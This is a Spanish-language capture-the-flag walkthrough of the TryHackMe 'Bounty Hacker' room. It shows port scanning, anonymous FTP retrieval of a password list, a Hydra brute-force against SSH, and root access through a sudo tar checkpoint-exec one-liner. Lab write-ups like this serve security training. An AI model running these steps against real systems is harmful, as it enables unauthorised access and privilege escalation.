Contents

TryHackMe - Bounty Hacker

TryHackMe - Bounty Hacker

Bounty Hacker es una maquina de TryHackMe. Enumeramos el servicio FTP donde observamos un wordlist el cual utilizamos para realizar un ataque de contraseñas con Hydra para obtener acceso por SSH. Escalamos privilegios con sudo y tar.

Room

DescripcionYou talked a big game about being the most elite hacker in the solar system. Prove it and claim your right to the status of Elite Bounty Hacker!
Puntos150
DificultadFACIL
MakerSevuhl

Recon

nmap

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.

bash
 1# Nmap 7.80 scan initiated Sat Aug  1 10:19:44 2020 as: nmap -sV -o nmap_scan_mini bountyhacker.thm
 2Nmap scan report for bountyhacker.thm (10.10.131.158)
 3Host is up (0.28s latency).
 4Not shown: 967 filtered ports, 30 closed ports
 5PORT   STATE SERVICE VERSION
 621/tcp open  ftp     vsftpd 3.0.3
 722/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
 880/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 9Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
10
11Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
12# Nmap done at Sat Aug  1 10:20:09 2020 -- 1 IP address (1 host up) scanned in 24.80 seconds

FTP

En el puerto 21 FTP logramos ingresar como anonymous en donde encontramos dos archivos, uno que contiene lo que parece ser un wordlist, el segundo dos “tareas” y un posible nombre de usuario.

bash
 1root@upset:~/thm/bountyhacker# ftp bountyhacker.thm 
 2Connected to bountyhacker.thm.
 3220 (vsFTPd 3.0.3)
 4Name (bountyhacker.thm:root): anonymous
 5230 Login successful.
 6Remote system type is UNIX.
 7Using binary mode to transfer files.
 8ftp> ls
 9200 PORT command successful. Consider using PASV.
10150 Here comes the directory listing.
11-rw-rw-r--    1 ftp      ftp           418 Jun 07 21:41 locks.txt
12-rw-rw-r--    1 ftp      ftp            68 Jun 07 21:47 task.txt
13226 Directory send OK.
14ftp> get locks.txt
15local: locks.txt remote: locks.txt
16200 PORT command successful. Consider using PASV.
17150 Opening BINARY mode data connection for locks.txt (418 bytes).
18226 Transfer complete.
19418 bytes received in 0.04 secs (10.7433 kB/s)
20ftp> get task.txt
21local: task.txt remote: task.txt
22200 PORT command successful. Consider using PASV.
23150 Opening BINARY mode data connection for task.txt (68 bytes).
24226 Transfer complete.
2568 bytes received in 0.00 secs (295.1389 kB/s)
26ftp> exit
27221 Goodbye.
28root@upset:~/thm/bountyhacker# cat locks.txt 
29rEddrAGON
30ReDdr4g0nSynd!cat3
31Dr@gOn$yn9icat3
32
33[... REDACTED ...]
34
35REd$yNdIc47e
36dr@goN5YNd1c@73
37rEDdrAGOnSyNDiCat3
38r3ddr@g0N
39ReDSynd1ca7e
40root@upset:~/thm/bountyhacker# cat task.txt 
411.) Protect Vicious.
422.) Plan for Red Eye pickup on the moon.
43
44-lin
45root@upset:~/thm/bountyhacker#

Web Site

Encontramos una pagina web en el puerto 80.

image

Gobuster

Utilizamos gobuster para busqueda de directorios y archivos, no encontramos nada interesante.

bash
1root@upset:~/thm/bountyhacker# gobuster dir -u http://bountyhacker.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
2/images (Status: 301)
3/index.html (Status: 200)
4/index.html (Status: 200)
5/server-status (Status: 403)

User - Lin

Utilizamos el usuario y el “wordlist” que encontramos en el puerto 21 con Hydra en el puerto 22 de SSH, donde logramos encontrar la contraseña para este usuario.

image

Logramos obtener una shell y nuestra flag user.txt.

image

Privesc

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando tar. Utilizamos tar para obtener una shell root.

image

bash
1sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Obtuvimos una shell con usuario root y nuestra flag root.txt.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev TryHackMe - Brooklyn Nine Nine
Next TryHackMe - Easy Peasy